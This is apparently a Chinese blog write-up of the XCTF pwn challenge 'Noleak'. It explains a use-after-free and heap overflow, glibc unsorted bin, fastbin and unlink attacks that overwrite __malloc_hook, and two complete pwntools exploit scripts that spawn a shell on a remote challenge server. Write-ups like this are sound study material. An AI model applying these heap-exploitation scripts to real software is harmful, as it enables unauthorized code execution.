欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Noleak(xctf)

程序员文章站 2022-05-15 21:48:50
...

0x0 程序保护和流程

保护:

Noleak(xctf)

流程:

main()

Noleak(xctf)

create()

Noleak(xctf)

delete()

Noleak(xctf)

free之后没有将指针置空,存在UAF。

edit()

Noleak(xctf)

没有对输入数据的大小作出限制,存在堆溢出。

0x1 利用过程

1.题目中的got表不可写,又没有输出函数,无法泄露地址,但是堆栈上可以执行代码,所以需要一个可执行的指针变量指向shellcode的地址,才能够执行shellcode。

2.可以使用Unsorted bin attack改写buf中指向chunk的地址为main_arena的地址,之后通过update将buf中的存储的数据改成malloc_hook的地址,之后向malloc_hook中写入shellcode的起始地址,之后再次执行malloc函数就可以完成getshell了。

3.因为要将修改malloc_hook中的数据,所以需要malloc_hook的地址。而malloc_hook的地址可以在libc中找到。

Noleak(xctf)

这时再看向malloc_trim函数

反汇编

Noleak(xctf)

源码

Noleak(xctf)

可以知道在main_arena-0x10就是malloc_hook的地址,而Unsorted bin在free之后的fd和bk都会指向main_arena附近的地址。并且当Unsorted bin取出的时候,会将bck->fd的位置写入Unsorted bin的链表头部的地址。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

只要能够在Unsorted bin释放之后修改其bk字段,就能在下一次申请大小合适的堆块时,将*bk+0x10处的值改为Unsorted bin的链表头部的地址。又因为程序加载进内存是按页加载,页表大小为4096=212=24*24*24 (getconf PAGE_SIZE可以查看页表大小),所以低三位是不会改变的,因此只需要向*bk+0x10的位置写入’\x10’,就可以使得*bk+0x10指向malloc_hook了。

3.通过以上分析,最后只需要一个可以控制的指针即可完成整个过程,所以可以通过Unlink或者Fast bin Attack将buf中的值修改为&buf再配合程序给出的update函数就可以getshell了。

Fast bin Attack:

先介绍Fastbin中最关键的检测机制,_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fast bin 链表应有 size 不符就会抛出异常。

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
      errstr = "malloc(): memory corruption (fast)";
    errout:
      malloc_printerr (check_action, errstr, chunk2mem (victim));
      return NULL;
}

所以对于Fast bin的利用必须要注意size位的判断。所以在这种利用方式下需要找到一个固定的值,并且这个值的大小在需要在Fast bin中并且与索引对应的大小要一致。

要想将fast bin分配到bss段,需要一个比较固定的值,而一般libc的高位是0x7f其大小符合Fast bin,所以先利用Unsorted bin Attack给出一个高地址。

# Unsorted bin
create(0x100,'index0')
# Fastbin bin,size=0x70即可
create(0x60,'index1')
# 防止被top chunk合并
create(0x10,'index2')
delete(0)
payload=p64(0)+p64(0x601058)
update(0,payload)
create(0x100,'index3')

Noleak(xctf)

可以通过字节错位将0x7f构造出来。

Noleak(xctf)

修改Fastbin bin的fd为0x601065。

delete(1)
update(1,p64(0x601065))

Noleak(xctf)

连续分配两个大小位于0x70。

create(0x60,'index4')
# 向0x601065处写入数据,加3个字节对齐
payload='aaa'+p64(0x601068)+p64(0x601090)
create(0x60,payload) # 5

此时buf处的数据。

Noleak(xctf)

现在可以通过索引7将0x601068处修改为’\x10’使之指向malloc_hook,之后将malloc_hook处改写为shellcode的起始地址,这里选择0x601090,之后向0x601090处写入shellcode。

update(7,'\x10')
update(5,p64(0x601090))
update(8,shellcode)

之后调用malloc就会执行shellcode。

Unlink:

先创建两个堆块然后释放,目的是获得一个指向已释放堆块的指针。

create(0x100,'index0')
create(0x100,'index1') # free
delete(0)
delete(1)

之后新建一个大小可以覆盖index1的pre_size和size字段的堆块,之后再次释放index1

payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10)+'a'*(0x100-0x20)+p64(0x100)+p64(0x100)
create(0x200,payload) #index2
delete(1)

创建完成之后堆块中的数据。

Noleak(xctf)

此时index1指向0x609110。

Noleak(xctf)

如果此时再次释放index1会进行double free的检查对0x609210=0x60110+0x100(size),发现处于未释放状态。之后查看是否可以进行合并,发现处于释放状态,先前合并,进行Unlink中的检查。这里就不进行仔细分析Unlink了。这样就完成了将buf中的值修改为&buf附近的值。

Noleak(xctf)

之后就和Fast bin Attack差不多了。

0x2 exp

Fast bin Attack:

from pwn import *
context(os='linux',arch='amd64')
local=0
if local:
    sh=process('./a')
else:
    sh=remote('220.249.52.133','36356')

shellcode=asm(shellcraft.sh())

def create(size,data):
    sh.sendlineafter('Your choice :','1')
    sh.sendlineafter('Size: ',str(size))
    sh.sendafter('Data: ',data)

def delete(index):
    sh.sendlineafter('Your choice :','2')
    sh.sendlineafter('Index: ',str(index))

def update(index,data):
    sh.sendlineafter('Your choice :','3')
    sh.sendlineafter('Index: ',str(index))
    sh.sendlineafter('Size: ',str(len(data)))
    sh.sendafter('Data: ',data)

def exit():
    sh.sendlineafter('Your choice :','4')

create(0x100,'index0')
create(0x60,'index1')
create(0x10,'index2')
delete(0)
payload=p64(0)+p64(0x601058)
update(0,payload)
create(0x100,'index3')
delete(1)
update(1,p64(0x601065))
create(0x60,'index4')
payload='aaa'+p64(0x601068)+p64(0x601090)
create(0x60,payload) # index5
update(7,'\x10')
update(5,p64(0x601090))
update(8,shellcode)
sh.sendlineafter('choice :', '1')
sh.sendlineafter('Size', '1')
sh.interactive()

Unlink:

from pwn import *
context(os='linux',arch='amd64')
local=0
if local:
    sh=process('./a')
else:
    sh=remote('220.249.52.133','36356')

shellcode=asm(shellcraft.sh())
heap=0x601040

def create(size,data):
    sh.sendlineafter('Your choice :','1')
    sh.sendlineafter('Size: ',str(size))
    sh.sendlineafter('Data: ',data)

def delete(index):
    sh.sendlineafter('Your choice :','2')
    sh.sendlineafter('Index: ',str(index))

def update(index,data):
    sh.sendlineafter('Your choice :','3')
    sh.sendlineafter('Index: ',str(index))
    sh.sendlineafter('Size: ',str(len(data)))
    sh.sendafter('Data: ',data)

def exit():
    sh.sendlineafter('Your choice :','4')

create(0x100,'index0')
create(0x100,'index1') # free
delete(0)
delete(1)
payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10)+'a'*(0x100-0x20)+p64(0x100)+p64(0x100)
create(0x200,payload) #index2
delete(1)

create(0x100,'index3')
create(0x10,'index4')
delete(3)
payload=p64(0)+p64(0x601058)
update(3,payload)
create(0x100,'index5')

payload=p64(0)*3+p64(0x601080)+p64(0)*4+'\x10'
update(0,payload)

update(5,p64(0x601080))
update(0,shellcode)
sh.sendlineafter('choice :', '1')
sh.sendlineafter('Size', '1')
sh.interactive()
相关标签: xctf(pwn高手区)